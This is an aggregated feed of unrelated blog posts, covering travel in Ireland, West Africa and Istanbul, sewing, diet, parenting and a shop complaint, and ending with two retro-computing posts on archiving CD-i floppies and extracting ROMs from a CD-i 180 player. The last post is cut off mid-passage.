    Bueno eso es todo por hoy, espero que tengan un excelente fin de semana! regreso pronto con mas proyectos!
              #151 Powering Your Electronics in Ireland – Audio        

    Whether it’s your phone, tablet, laptop, curling iron, or sleep apnea machine, here’s a look at how you can power up all your devices while visiting the Emerald Isle. SHOW NOTES 00:24 Ireland’s wall outlets/sockets are the same as the United Kingdom and therefore do not fit plugs from North America, Australia, or many other […]

    The post #151 Powering Your Electronics in Ireland – Audio appeared first on Irish Fireside Travel and Culture.


              O que levar na bolsa fitness?        

    Você sabe o que deve levar na sua bolsa da academia?

    Montamos três opções, conforme a modalidade de exercícios, de coisas que não podem faltar dentro da sua bolsa fitness. 

     

    OPÇÃO 1

     

    Bolsa Fitness

     

    Para treinos pesados, como crossfit é essencial se alimentar bem. Incluímos as barrinhas de cereais para garantir sua energia, garrafinha de água, luvinhas para proteger suas mãos e um som para aliviar a pressão da atividade física. Vestir-se adequadamente também é fundamental. Invista no tênis e roupas de fácil mobilidade. Para levar tudo isso com muito charme e conforto, Bolsa Fitness Rosa confeccionada em neoprene fino e fechamento em botão imantado.  

     

     

    OPÇÃO 2

     

    Bolsa Fitness

    Para exercícios aeróbicos, onde se queima muitas calorias, a garrafinha de água é o destaque da bolsa. Toalhinha para enxugar o suor e elásticos de cabelo são peças obrigatórias. O Tênis ideal geralmente tem um leve amortecedor e as roupas Dry Fit, tem capacidade de tirar a umidade do corpo e transportá-lo para fora do tecido. Para ilustrar essa opção, escolhemos a Bolsa Fitness Listras, com cores alegres e suaves alinham bem ao seu ritmo. 

     

     

    OPÇÃO 3

     

    Bolsa Fitness

     

    Para amantes de exercícios aquáticos, não poderíamos deixar essa opção de fora. Nossa prioridade nesta bolsa foi o cuidado com o cabelo. Bons produtos de tratamento capilar, secador e escova vão te permitir sair impecável da academia. Invista na toca impermeável, ela te protegerá do excesso de cloro usado nas piscinas. Sapatilha emborrachada ou chinelinhos evitam tombos nas áreas escorregadias. E finalizando com a Bolsa Neo Azul, com o conceito prático e confortável de vestir.   

     

    Quer conhecer todos nossos modelos de bolsa fitness?

    Clique Aqui


              Curtain!        
    The sewing machine has been used. And it is good.

    I think I need some new needles, because sewing this eyelet fabric got a bit dicey at times (whaa? why is this pulling..??). Anyway, I attempted to take photos. But again, I'm a crafting night owl apparently.

    I followed the tutorial from Design Sponge. It was a nice little instructional for a pseudo beginner!

     After (nervously) cutting, iron the hems.

    Sew, sew, sew.

    Measure twice! This is for the bottom hem, 5 inches.

    Somehow, on the bottom hem I ended up with uneven sides. It was all ironed out before hand, how does this happen?? I ended up just kinda fudging the sewing to make them look like they lined up!

     Top hem for the tension rod! I used a 2.5 inch hem. The sides of this hem ended up perfectly matched. I was baffled. Yet carried on....

    The end! The cute little eyelet curtain in my cute little blue bathroom. 

    It ended up being just a tad too short. I have plenty of fabric left, so I can remake it. It doesn't really bother me, so I probably won't!  I do feel all ambitious now, and I really want to make something for my niece. She spends a lot of time outside, yet is in that weird princess phase. There is a tutorial I came across for a skirt with shorts underneath! Can't wait to go shopping for a cute patterned fabric for her!


              Sucessful challenges        
    My, these look awesome: Bags from Menswear from Oh Happy Day....

    I would love to make these as gifts this year, but I need more practice.

    I started to work on my curtain project - Just a simple curtain to put up in the bathroom just to get my straight-line sewing skills down. But, after I had ironed my fabric, I got to setting my up new to me machine. And I ran into an issue. ....2 hours later and a phone call to my awesome mother and skype to try and figure out the problem....the bobbin was wrong. the one empty bobbin that came with the machine (from craigslist) happened to be the incorrect TYPE of bobbin. So the machine kept "spitting" it out. And inexperienced me, had followed all the directions and I just knew I had installed it correctly, couldn't figure out why IT WOULDN'T THREAD.

    Mother to the rescue "well, is it the right kind of bobbin? If it is wrong, then it wont work in the machine." Lo, and behold - the bobbins were different. As soon as I used the other kind - poof! sewing abilities abound. But by that time it was a Sunday evening and I needed to finish up some work before the week started.

    Believe me - now that I have the machine figured out, once this *&$^# work week is over, I will be in front of that lovely, old-school Kenmore, working my brain around something artistic.
              Just some things        
    I've been thinking about:
    1. Visiting the Alameda Flea/West End Market
    2. Attempting to work at a coffee/tea shop again
    3. Getting a sewing machine
    4. Organizing my closets (!!!)
    5. Black boots. I really want an all around go-to pair I can pair with jeans, skinny pants, and skirts. I haven't had much luck in the past 3 shopping trips I've done just for boots. Any recommendations?
    6. Work. It's going to be a busy week.
              Carnival in Guinea Bissau        

    Uniquely in West Africa, Guinea Bissau follows the latin tradition of holding a carnival on the days leading up to Lent.  As a desperately poor country this clearly isn't the extravaganza of the one in Rio, but I had heard that the people make up in inventiveness what they lack in financial resources and so I used some of the precious time I have left in the region to fly down to Bissau for a long weekend to see the carnival parades.

    What a good decision that was - I would recommend this carnival to anyone!  A riot of drumming and colour!

    The parades started at 4pm on Monday, with each of nine districts of the capital putting on their own displays in a relay that lasted until well after dark at 7.30pm (a little sad for those parading last given the lack of street lighting in Bissau), with the same pattern the next day for the regional displays.  The basic format was the same for each district, first the dancers in costume, and then those sporting giant papier-mache masks, all accompanied by fast and frantic drumming.

    The costumes varied enormously.  There were many troupes of near-naked women and girls, wearing just strings of shells and beads with a grass skirt or for some just a piece of snake skin hanging from the waist for modesty, their bodies gleaming with a yellowy sheen of palm oil.  I was very surprised at the amount of bare flesh on show for a region of the world where the female body - at least the lower half - is usually very well covered.  There were traditional fibre costumes and wooden masks, some of the locally made 'lapa' strip-woven cloth, and some more modern outfits such as army uniforms, the dancers carrying fake machine guns (remember this is a country whose politics is dominated by the army) and in one case handing over the guns, as part of their dance, to women wearing the white of peace - this latter was very popular with the crowd!

    Other dances were focused on the need to stop female genital cutting and enforced early marriage.  Some included mock fights, or sharing the rice contained in a big calabash, and one involved two men walking around carrying a large live crocodile, its mouth tied shut with pink string.  Nobody near me in the crowd could explain the significance of that one.

    The papier-mache masks were enormously varied and impressive, from tigers and dragons, pieces of fruit and vegetables, army chiefs and colonial administrators, fishing boats and - my favourite - a turtle mask, its poor 'wearer' having to crawl along on all fours around the carnival route.

    The crowd were enjoying it all immensely, pressing forward into the road; every so often the police would hit out with big sticks to get them back into place.  Others were perched in the branches of trees to get a better view - and at one point a branch fell with the weight of the people there and a commotion ensued as an ambulance forced its way through the crowd to collect the injured.  But nothing could stop the party spirit.

    It all reminded me, again, of what it is that makes me so enjoy my life here.  It is that Africa, unlike the West, has not yet lost its primitive side.  The rhythms are of night and day, and seasons (rather than of clocks and calendars) accompanied by the rhythms of the drums and the wonderfully expressive forms of African dance.  They bring both a feeling of being at peace with the environment and a joy in being alive.  Perhaps that is why most Africans, despite the pervasive poverty, are usually smiling.


              Carpet sellers        
    Istanbul's carpet salesmen are legendary.  But when you know you are likely to be moving to work in a different continent within the next six months (where home could be any style of house or apartment in who-knows-what style and colour scheme) - or, if not, that you may be off back-packing round the world whilst deciding what to do next - then the temptation to buy an expensive carpet is pretty easily resisted.

    So on my initial transit through Istanbul (on the way to Kyrgyzstan) I let myself be led into a carpet shop to have a look at what they had to offer.  "Just looking".  I was shown carpet after carpet - from Turkey, from India, from Afghanistan, in wool, in yak hair and in silk, and in every colour under the sun.  But sadly I gleaned very little information on carpets, as the salesman was more keen to impress on me how big a discount he would give me if I would go somewhere with him in his car so that he could "show me how he loved me"(!).  No thank you.

    However in Uzbekistan, in a carpet-making workshop in the old city of Khiva, I saw a collection of silk carpets and totally fell in love with one.  If only I had somewhere settled to put it, and a spare $2,000...

    Back in transit in Istanbul again, thinking no more about carpets (other than the lingering regrets over not being able to buy the one in Khiva), I was walking through a park when I found myself in conversation with a friendly Australian woman, who told me she was in Istanbul for a few months doing some jewellery design.  We chatted a little, and she pointed out a few interesting historical things that we were walking past (that I would otherwise have missed), and then she asked if I'd like to see her jewellery.  Well it seemed a little rude to say no.  But would you believe it, her jewellery was on display in the front part of a carpet shop ... and when she invited me to sit down for a glass of apple tea it was in the carpet showroom.

    Whilst I had had no idea that undercover carpet sellers were now roaming the parks disguised as friendly Australians, I have to say that the man in the shop (the Australian rapidly disappeared - presumably to hunt down more victims) was very informative, and totally agreed, when I explained my situation, that now was not the time for me to buy a carpet.

    Having listened to his explanations of single -v- double knots, and the significance of the number of knots per inch, I finally asked him about prices.  A very nice wool carpet, about the same size as "my" silk one in Khiva, was worth €1,600, he said.  I told him about the carpet I had fallen in love with and he expressed total disbelief at the price - showed me a much smaller silk one in his collection priced at $11,000...  He wondered if mine might have been made of cheap Chinese silk although even then it couldn't be that cheap (in fact all the silk used in the Khiva workshop is grown in Uzbekistan).  I began to wonder if my guide had mis-translated 20 into 2, or if perhaps I had missed the bargain of a lifetime...


              SCD and Paleo and FODMAPs, oh my!        
    Brussels SproutsA little knowledge is a dangerous thing ... and sometimes more knowledge is not better! I am now getting quite confused. It seems that everything is bad for me, and some of the recommendations are contradictory. What's a girl to do?

    I've been doing the Specific Carbohydrate Diet for a few years now, and I have done very well on it, removing grains, sugar and liquid milk from my diet. It has helped me keep my Inflammatory Bowel Disease under control with no medication, presumably by reducing the inflammation in my gut.

    Then I discovered paleo. To be honest, the paleo/primal principles have had more effect on my exercise (walking and lifting heavy rather than chronic cardio and machines) than on my nutrition, as I was already eating free-run eggs (and pastured when available) and organic dairy (made into SCD yoghurt which is fermented for 24 hours to remove all the lactose) in my lacto-ovo vegetarian diet. Removing legumes (aside from occasional lentils) seems to have been beneficial. Moreover, I added fish to my diet back in March, ending 18 years of vegetarianism. Bringing mammals and birds into my kosher dairy kitchen would be a whole other tale, worthy of another blog post. Hasn't happened yet.

    I've also, as my faithful readers know, become enamoured of lacto-fermentation, fermenting kale, cabbage (with juniper berries, yum), pearl onions and carrots. Everything I read told me that these would be good for healing my leaky gut. Just as an update, I no longer use mason jars to ferment, but bail-top jars similar to these (affiliate link).While not totally anaerobic according to some people, I am not yet convinced of the necessity for airlocks, especially as Sandor Katz, the guru of fermentation, agrees with me.

    So, along comes the whole FODMAPs thing and completely destroys everything I've been doing. This awkward acronym stands for Fermentable, Oligo-, Di-, Mono-saccharides and Polyols. I'm not going to go into all the details of these (visit the Wikipedia links provided if you really want to know), but in short, all my favourite fermentable foods should be off-limits to people with leaky guts. This despite the lovely lacto-bacilli they harbour which are supposed to be beneficial to the same people. I have no problem with avoiding lactose, grains and pulses, but to cut out all the stone fruits, cruciferous vegetables, onions, nightshades and fungi leaves me with pretty much nothing to eat in the plant department.

    Oh, and then JJ Virgin comes along and tells me that eggs are inflammatory, too.

    Please, shoot me now.



              Living in the light        
    It rained on Wednesday. Now I realise that this won’t sound particularly momentous to those of you living in rainy London, but this is Dakar. We don’t have winter and summer, we have a rainy season and a dry season and right now we are in the dry season. In the dry season it doesn’t rain. It is usually hot and sunny with blue skies, though sometimes the harmattan blows in from the Sahara desert and a white haze of dust hangs over the city, but it doesn’t rain.

    So when I woke on Wednesday morning I thought I must be dreaming when I heard rain sounds – thought it was some strange trick, perhaps the leaves of the mango tree tapping against the roof in the wind – but then I heard thunder and knew it was for real. & it was the day I was moving house.

    With my northern European background I groaned inwardly at the rain, thinking about all my books, clothes and CDs getting wet as the removal men carried the boxes out to the lorry. But in a semi-desert country like Senegal such unseasonal rain is considered good luck, especially for new ventures, and this portentous rainstorm was even mentioned on the evening news. Locals associated it with the presidency of the newly elected Macky Sall, but I knew better – it was for me, for my move to the new apartment.

    & so far it seems to have worked. My only loss on the move was one small glass. But more importantly I now live in a beautiful apartment. It has two bedrooms and one open plan lounge/diner/kitchen, with both the latter room and the master bedroom having large French windows opening on to the enormous south-west facing balcony with its sea view (OK, the sea is behind the rooftops and a big road, but I can still see it and its cooling breezes still reach my balcony). The contrast with the old house I moved out of could not be greater as this place is flooded with light – and I realise now how I suffered from the dark, gloomy interior of the house, built in the typical African way to face north and so avoid as much as possible of the sun.

    I didn’t set foot outside the apartment block for the whole weekend as I couldn’t bear to leave it. Just a trip downstairs to the shared swimming pool, which I had all to myself.

    The place does have its faults (otherwise it wouldn’t be within the budget of an NGO), but the planes flying overhead in the night have not woken me once. There is no generator, only little machines that keep the lights on during power cuts – but not the fridges, the hairdryers or the cookers. So far we haven’t had any power cuts but I’m sure they’ll come once we move into the hot and steamy rainy season. But I don’t think I’ll care because I am truly in love with this apartment. I don't know at the moment how long I have left in Senegal (as a management restructuring of my department is looming) but in a way that is making me treasure each day there even more.
              On Mothering a Teenaged Driver        
    Car crashLast week a 17-year-old Winnipeg girl died. She was riding in an SUV with her friends at 1 o'clock on a weekday afternoon, when the vehicle hit a tree. She was ejected from the car and was killed. Her friends were all hurt, and charges have been laid against the 17-year-old driver.

    This story would have made me cry anyway - I have become much more susceptible to any sad tale involving children since becoming a mother. But it really hit me in the gut, because my 16-year-old is learning to drive.

    He's a good driver, although not yet ready to take his road test. His reflexes and mechanical control of the vehicle are excellent - years of playing video games are apparently good for something. The mistakes he makes are a direct result of inexperience, and he is a quick learner. More importantly, he loves to drive and asks to do it as frequently as he can, accumulating as much experience as possible. These are all good things.

    Nevertheless, I am putting my child in charge of a lethal weapon. Right now I sit next to him and remind him to slow down if a light up ahead is about to change, call out warnings if he is drifting in his lane and tell him what to do about obnoxious guys in macho trucks who are trying to get him to move faster than is wise or legal.

    But some day soon, he will be out there by himself. I tell myself that he is a good and cautious driver with a healthy respect for the powerful machine under his hands and for the speed limit and seat belt laws. I teach him everything I can so he and everyone around him will be safe. I have to let him go out and learn to be an adult.

    But last week, a 17-year-old girl died, and a 17-year-old boy was left with a burden of guilt he can never, ever lose, regardless of what his friend's mother says and how genuine her forgiveness is.

    We all cry.
              BIG BOX HABITAT HAS THE WORST DELIVERY & VERY POOR CUSTOMER SERVICE        

    Dear Editors,

    We purchased some furniture items from Big Box Habitat in Jul. Items were not received as per scheduled, so we called their customer service hotline but no ones answered, called the sales person, her phone was off. So we went to the showroom in that evening and found out the sales person was not on duty.

    Her superior, David Lee (Asst. Manager) attended to us and rescheduled another delivery date. He waived the delivery charges but the refund would only take place after items completely delivered. He told us normally the refund will take 21 days. He left his contact number and reassured us he will definitely pick up calls.

    Well, the items finally delivered to us but in between again the same thing happened, sales person mobile was off and she was not on duty. This is really the most terrible deliver service I have encountered.

    The refund procedure completed in end Jul. Early Sep, we still did not received our refund so we contacted the sales person and she gave us a reference number, she said her finance will call us but nothing happened. So I whatsapps David Lee to ask him about the status last Mon. He told me he was on leave for 3 days, Thursday he will update me. No news on Thursday and Friday, not working because of polling day.

    Only last Sunday, again I asked him about the status. We called him once but he did not pick up call so I whatsapps him He replied that he will check on Monday. Nothing happened till yesterday, I called him and again, he did not pick up calls. Out of no choice, I went to their showroom. I was told that the sales person only will come in the afternoon and David was not in. I whatsapp him, he read my message so I called him again at their showroom but he did not answered.

    That really pissed me off so I told him I was at his office, I will complain him to his management. Then, he scolded me ILLITERATE!!

    Is not the money issue that matters me but is the attitude of the Asst. Manager. This is totally uncivilised and behave like a hooligan.

    By the way, his staff Eldwin settled the refund matter for me about 20 minutes. He is friendly and did a good job.

    UPDATE: Vincent Teo, their manager called me to apologise to me this afternoon. I demand David Lee to give me both phone and written apology. He explaination of his remark to me in his whatsapps.

    The biggest retail shopping mall in town with the worst delivery service in town. Poor customer service (no ones pick up calls, talk to machine). I will not buy anything from there anymore, your uncivilised Asst Manager really terrible.

    CT
    A.S.S. Contributor

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              Sci Fi Mosquito- Found Object Robot- Junk Art Assemblage- Sculpture by butcherooney        

    350.00 USD

    A sci-fi mosquito but this one does not carry the Zika virus so no worries! He has emerged from a motor from an adding machine for its torso, his "stinger" or suction tube is a knitting needle, wings are from a decorative found object, and he is mounted on some cool things I found at a local junk yard. This guy stands 9-1/2" tall, 5" wide at the wings, and 7-1/4" long.


              CD-i floppy inventory        
    Last weekend I future-proofed my CD-i floppy collection. A bit to my surprise, all floppies except one turned out to be perfectly readable (nearly twenty years after they were last written!). Luckily, the one exception was a backup copy so I didn’t lose any contents.

    I had originally intended to use the borrowed CDI 182 unit for this (it has two floppy drives). The primary motivation for this was that my unstowed CDI 605 could not read beyond track zero of any floppy, but after giving the matter some thought I decided to try my other CDI 605 first, the primary motivation for this being speed (see below). It turned out that this 605 could read the floppies perfectly, including the three 38U0 format ones that gave problems on the 182 unit. Microware has defined a number of OS-9 disk formats for floppies, the 38U0 one supposedly being the “universal” 3.5" format (there is also a 58U0 “universal” 5¼" format).

    The problem with the “universal” formats is that track zero can be (and on my floppies, is) in a different density which makes it a bad fit for most tools, both on CD-i and PC. It also means that only 79 tracks are used for data storage, giving a raw capacity of 79 × 2 × 16 × 256 = 632 KB. The 3803 format used by all my other CD-i floppies uses all 80 tracks and consequently has 8 KB more of raw storage for a total of 640 KB (these are both double-density, double-side formats (DS, DD) with 16 sectors of 256 bytes per track like nearly all OS-9 disk formats).

    Before unstowing my other CDI 605 (it was nearly at the bottom of a 150 cm stowed equipment stack) I tried reading the floppies with my trusty old Windows 98 machine which still has floppy drives. I could not quickly find a DOS tool that handled the 256 byte sectors (not even raread and friends), although I suspect that Sydex’s TELEDISK product would have handled it just fine. I also tried Reischke’s OS9MAX which should handle all OS-9 formats under the sun according to its documentation. The demo version ran under MS-DOS and gave me working directory listings, even for the 38U0 floppies, but it does not support actually reading the files and I am somewhat doubtful about the current availability of the paid-for full version (even apart from cost concerns).

    Why did I decide to use the 605? It was not a question of reading the disks (the 182 did this mostly fine) but of handling the data thus read. The 182 unit has a SCSI connector but I have no drivers for it (yet) and dumping my full floppy collection over the serial port did not really appeal to me for speed and reliability reasons (it could have been done, of course).

    The 605 player has a SCSI connector and includes drivers for it so I could have just connected it to the SCSI disk in my E1 emulator and copied the floppies to hard disk (I would still have needed to transfer them to my laptop which would have been a two-step process via the Windows 98 PC as I have no SCSI connection on my laptop).

    Instead I used the BNC network connector of the 605 to directly transfer floppy images to my laptop (it needs a network switch supporting both a BNC connector and the modern RJ45 connectors, but luckily I have two of those, even if they are only 10 Mbit/s). Starting up the network environment of the 605 took only two OS-9 commands at the command shell prompt:
    ispmode /le0 addr=10.0.0.120
    mbinstall
    After this I could just ftp in to my laptop where I ran ftpdmin, a very minimal ftp server program, and transfer floppy disk images directly:
    ftp 10.0.0.110
    bin
    put /d0@ floppy.dsk
    (where /d0@ is the raw floppy device, for 38U0 I used /d0uv@, both are built-in for the 605).

    The transfers ran at the maximum speed of the floppy drive (way below the 10 Mbit/s network speed), and the resulting .dsk files are perfectly readable using the –v option (virtual disk) of Carey Bloodworth’s os9.exe program even though that program was originally written for Tandy Color Computer OS9/6809 floppies (the floppy disk format was not changed for OS-9/68000 which is at the core of CD-i’s CD-RTOS operating system).

    For easy access I also created a “tar” format archive of each floppy on a RAM disk:
    chd /d0
    tar cvf /r768/floppy.tar .
    and ftp’d those to my laptop as well (the /r768 device is a 768 KB variation of the /r512 built-in 512 KB RAM disk device of the 605 player).

    I ended up with the following collection of unique floppy disk images:
    • 605h3 - 605 H3 Driver Update (1 floppy)
    • 605upd - 605 Driver Update (1 floppy)
    • bcase - Basecase Tests (1 floppy)
    • eboot41 - Emulation Boot Diskette (1 floppy)
    • eburn41 - Emulation and CDD 521 Boot Diskette (1 floppy)
    • inet - CD-I Internet Installation Disk - V1.3 (1 floppy)
    • nfs - OS-9/68000 Network File System V.1.0 (1 floppy)
    • os9sys - OS-9 System Diskette (1 floppy)
    • pubsoft - OptImage Public Domain Software (2 floppies)
    • pvpak - OptImage Preview Pak Installation Disk (1 floppy)
    • ubridge - OS-9 UniBridge Resident Utilities (3 floppies)

    The 605* and eb* floppies are mostly interesting for CD-i 605 or E1 emulator owners, but the bcase floppy contains a set of CD-i standard conformance test programs that.

    The inet and nfs floppies contain a full set of Internet software including Telnet and FTP servers and clients and an NFS client (all except the latter are also in the 605 ROMs).

    The os9sys floppy contains a full set of Professional OS-9 programs and is my original source for most of the OS-9 CD-i disc that I described earlier (most of these are not in ROM on any CD-i player that I’ve seen so far).

    The pubsoft floppies contain miscellanous utilities such as bfed, du, kermit, umacs and vi, most of which can be obtained elsewhere, some CD-i specific utilities such as da (CD-i disk analyzer) and iffinfo (CD-i IFF file dumper) as well as library source files for the CD-i IFF file library.

    The pvpak floppy contains preview software for CD-i images that will preview CD-i IFF files from an NFS-mounted host file system directory.

    The ubridge floppies are the goldmine (and also the 38U0 format ones) as they contain a full set of native Microware C compiler/assembler/linker/debugger software for OS-9 complete with CD-i header files and libraries and C runtime startup sources. Both the srcdbg and sysdbg debuggers are included as well as the rdump utility for dumping ROFF (Relocatable Object File Format) files.

    Unfortunately, most of the above software except for the pubsoft contents is copyrighted property of Microware (now Radisys) or OptImage (a former Philips/Microware joint venture) which means that I cannot distribute it, even though they could be very useful to CD-i homebrew developers. For that the hopefully soon-to-be available GCC cross-port will have to be enough...

    While investigating all of the above I also stumbled upon a 450 MB OS-9 hard disk image for MediaWorkshop. The os9.exe program recognizes it just enough to say that it does not support it so I have no real idea about its contents except the obvious.

    To remedy that problem I’m in the process of adding SCSI disk support to CD-i emulator so that I can use the SCSI support in the CD-i 605 ROMs to mount the disk image and look at it. This should also allow the CD-i 180 to boot from a SCSI disk if I ever find drivers for it (a possible path to that has just appeared, we’ll see...).
              CD-i 180 adventures        
    Over the last week I have been playing with the CD-i 180 player set. There’s lots to tell about, so this will be a series of blog posts, this being the first installment.

    The CD-i 180 is the original CD-i player, manufactured jointly by Philips and Sony/Matsushita, and for a score of years it was the development and “reference” player. The newer CD-i 605 player provided a more modern development option but it did not become the “reference” player for quite some years after its introduction.

    The CD-i 180 set is quite bulky, as could be expected for first-generation hardware. I have added a picture of my set to the Hardware section of the CD-i Emulator website; more fotos can be found here on the DutchAudioClassics.nl website (it’s the same player, as evidenced by the serial numbers).

    The full set consists of the CDI 180 CD-i Player module, the CDI 181 Multimedia Controller or MMC module and the CDI 182 Expansion module. The modules are normally stacked on top of each other and have mechanical interlocks so they can be moved as a unit. Unfortunately, I do not have the CDI 182 Expansion module nor any user manuals; Philips brochures for the set can be found here on the ICDIA website.

    Why am I interested in this dinosaur? It’s the first mass-produced CD-i player (granted, for relatively small masses), although there were presumably some earlier prototype players. As such, it contains the “original” hardware of the CD-i platform, which is interesting from both a historical and an emulation point of view.

    For emulation purposes I have been trying to get hold of CD-i 180 ROMs for some years, there are several people that still have fully operational sets, but it hasn’t panned out yet. So when I saw a basic set for sale on the CD-Interactive forum I couldn’t resist the temptation. After some discussion and a little bartering with the seller I finally ordered the set about 10 days ago. Unfortunately, this set does not include a CDI 182 module or pointing device.

    I had some reservations about this being a fully working set, but I figured that at least the ROM chips would probably be okay, if nothing else that would allow me to add support for this player type to CD-i Emulator.

    In old hardware the mechanical parts are usually the first to fail, this being the CDI 180 CD-i Player module (which is really just a CD drive with a 44.1 kHz digital output “DO” signal). A workaround for this would be using an E1 or E2 Emulator unit; these are basically CD drive simulators that on one side read a CD-i disc image from a connected SCSI hard disk and on the other side output the 44.1 kHz digital output “DO” signal. Both the CDI 180 and E1/E2 units are controlled via a 1200 baud RS232 serial input “RS” signal.

    From my CD-i developer days I have two sets of both Emulator types so I started taking these out of storage. For practical reasons I decided to use an E1 unit because it has an internal SCSI hard disk and I did not have a spare one lying around. I also dug out an old Windows 98 PC, required because the Philips/OptImage emulation software doesn’t work under Windows XP and newer, and one of my 605 players (I also have two of those). Connecting everything took me a while but I had carefully stored all the required cables as well and after installing the software I had a working configuration after an hour or so. The entire configuration made quite a bit of mechanical and fan noise; I had forgotten this about older hardware!

    I had selected the 605 unit with the Gate Array AH02 board because I was having emulation problems with that board, and I proceeded to do some MPEG tests on it. It turns out the hardware allows for some things that my emulator currently does not, which means that I need to do some rethinking. Anyway, on with the 180 story.

    In preparation for the arrival of the 180 set I next prepared an disc image of the “OS-9 Disc” that I created in November 1993 while working as a CD-i developer. This disc contains all the OS-9 command-line programs from Professional OS-9, some OS-9 and CD-i utilities supplied by Philips and Microware and some homegrown ones as well. With this disc you can get a fully functional command-line prompt on any CD-i player with a serial port, which is very useful while researching a CD-i player’s internals.

    The Philips/Optimage emulation software requires the disc image files to include the 2-second gap before logical block zero of the CD-i track, which is not usually included in the .bin or .iso files produced by CD image tools. So I modified the CD-i File program to convert my existing os9disc.bin file by prepending the 2-second gap, in the process also adding support for scrambling and unscrambling the sector data.

    Scrambling is the process of XORing all data bytes in a CD-ROM or CD-i sector with a “scramble pattern” that is designed to avoid many contiguous identical data bytes which can supposedly confuse the tracking mechanism of CD drives (or so I’ve heard). It turned out that scrambling of the image data was not required but it did allow me to verify that the CD-I File converted image of a test disc is in fact identical to the one that the Philips/Optimage mastering tools produce, except for the ECC/EDC bytes of the gap sectors which CD-I File doesn’t know how to generate (yet). Fortunately this turned out not to be a problem, I could emulate the converted image just fine.

    Last Thursday the 180 set arrived and in the evening I eagerly unpacked it. Everything appeared to be in tip-top shape, although the set had evidently seen use.

    First disappointment: there is no serial port on the right side of 181 module. I remembered that this was actually an option on the module and I had not even bothered to ask the seller about it! This would make ROM extraction harder, but I was not completely without hope: the front has a Mini-DIN 8 connector marked “CONTROL” and I fully expected this to be a “standard” CD-i serial port because I seemed to remember that you could connect standard CD-i pointing devices to this port, especially a mouse. The built-in UART functions of the 68070 processor chip would have to be connected up somewhere, after all.

    Second disappointment: the modules require 120V power, not the 220V we have here in Holland. I did not have a voltage converter handy so after some phone discussion with a hardware-knowledgeable friend we determined that powering up was not yet a safe option. He gave me some possible options depending on the internal configuration so I proceeded to open up the CDI 181 module, of course also motivated by curiosity.

    The first thing I noticed was that there were some screws missing; obviously the module had been opened before and the person doing it had been somewhat careless. The internals also seemed somewhat familiar, especially the looks of the stickers on the ROM chips and the placement of some small yellow stickers on various other chips.

    Proceeding to the primary reason for opening up the module, I next checked the power supply configuration. Alas, nothing reconfigurable for 220V, it is a fully discrete unit with the transformer actually soldered to circuit board on both input and output side. There are also surprisingly many connections to the actual MMC processor board and on close inspection weird voltages like –9V and +9V are printed near the power supply outputs, apart from the expected +5V and +/–12V, so connecting a different power supply would be a major undertaking also.

    After some pondering of the internals I closed up the module again and proceeded to closely inspect the back side for serial numbers, notices, etc. They seemed somewhat familiar but that isn’t weird as numbers often do. Out of pure curiosity I surfed to the DutchAudioClassics.nl website to compare serial numbers, wanting to know the place of my set in the production runs.

    Surprise: the serial numbers are identical! It appears that this exact set was previously owned by the owner of that website or perhaps he got the photographs from someone else. This also explained why the internals had seemed familiar: I had actually seen them before!

    I verified with the seller of the set that he doesn’t know anything about the photographs; apparently my set has had at least four owners, assuming that the website owner wasn’t the original one.

    On Friday I obtained a 120V converter (they were unexpectedly cheap) and that evening I proceeded to power up the 180 set. I got a nice main menu picture immediately so I proceeded to attempt to start a CD-i disc. It did not start automatically when I inserted it, which on second thought makes perfect sense because the 181 MMC module has no way to know that you’ve just inserted a disc: this information is not communicated over 180/181 interconnections. So I would need to click on the “CD-I” button to start a disc.

    To click on a screen button you need a supported pointing device, so I proceeded to connect the trusty white professional CD-i mouse that belongs with my 605 players. It doesn’t work!

    There are some mechanical issues which make it doubtful that the MiniDIN connector plugs connect properly, so I tried an expansion cable that fit better. Still no dice.

    The next step was trying some other CD-i pointing devices, but none of them worked. No pointing devices came with the set, and the seller had advised me thus (they were presumable lost or sold separately by some previous owner). The only remaining option seemed to be the wireless remote control sensor which supposedly uses RC5.

    I tried every remote in my home, including the CD-i ones, but none of them give any reaction. After some research into the RC5 protocol this is not surprising, the 180 set probably has a distinct system address code. Not having a programmable remote handy nor a PC capable of generating infrared signals (none of my PCs have IrDA) I am again stuck!

    I spent some time surfing the Internet looking for RC5 remotes and PC interfaces that can generate RC5 signals. Programmable remotes requiring a learning stage are obviously not an option so it will have to be a fully PC-programmable remote which are somewhat expensive and I’m not convinced they would work. The PC interface seems the best option for now; I found some do-it-yourself circuits and kits but it is all quite involved. I’ve also given some thought to PIC kits which could in principle also support a standard CD-i or PC mouse or even a joystick, but I haven’t pursued these options much further yet.

    Next I went looking for ways to at least get the contents of the ROM chips as I had determined that these were socketed inside the MMC module and could easily be removed. There are four 27C100 chips inside the module, each of which contains 128Kb of data for a total of 512Kb which is the same as for the CD-i 605 player (ignoring expansion and full-motion video ROMs). The regular way to do this involves using a ROM reading device, but I haven’t gotten one handy that supports this chip type and neither does the hardware friend I mentioned earlier.

    I do have access to an old 8 bit Z80 hobbyist-built system capable of reading and writing up to 27512 chips which are 64Kb, it is possible to extend this to at least read the 27C100 chip type. This would require adapting the socket (the 27512 is 28 pins whereas the 27C100 has 32 pins) and adding one extra address bit, if nothing else with just a spare wire. But the Z80 system is not at my house and some hardware modifications to it would be required, for which I would have to inspect the system first and dig up the circuit diagrams; all quite disappointing.

    While researching the chip pinouts I suddenly had an idea: what if I used the CD-i 605 Expansion board which also has ROM sockets? This seemed an option but with two kids running around I did not want to open up the set. That evening however I took the board out of the 605 (this is easily done as both player and board were designed for it) and found that this Expansion board contains two 27C020 chips, each containing 256Kb of data. These are also 32 pins but the pinouts are a little different, so a socket adapter would also be needed. I checked the 605 technical manual and it did not mention anything about configurable ROM chip types (it did mention configurable RAM chip types, though) so an adapter seemed the way to go. I collected some spare 40 pin sockets from storage (boy have I got much of that) and proceeded to open up the 180 set and take out the ROM chips.

    When determining the mechanical fit of the two sockets for the adapter I noticed three jumpers adjacent to the ROM sockets of the expansion board and I wondered… Tracing of the board connections indicated that these jumpers were indeed connected to exactly the ROM socket pins differing between 27C100 and 27C020, and other connections indicated it at least plausible for these jumpers to be exactly made for the purpose.

    So I changed the jumpers and inserted one 180 ROM. This would avoid OS-9 inadvertently using data from the ROM because only half of each 16-bit word would be present, thus ensuring that no module headers would be detected, and in the event of disaster I would lose only a single ROM chip (not that I expected that to be very likely, but you never know).

    Powering up the player worked exactly as expected, no suspicious smoke or heat generation, so the next step was software. It turns out that CD-i Link already supports downloading of ROM data from specific memory addresses and I had already determined those addresses from the 605 technical manual. So I connected the CD-i 605 null-modem cable with my USB-to-Serial adapter between CD-i player and my laptop and fired off the command line:

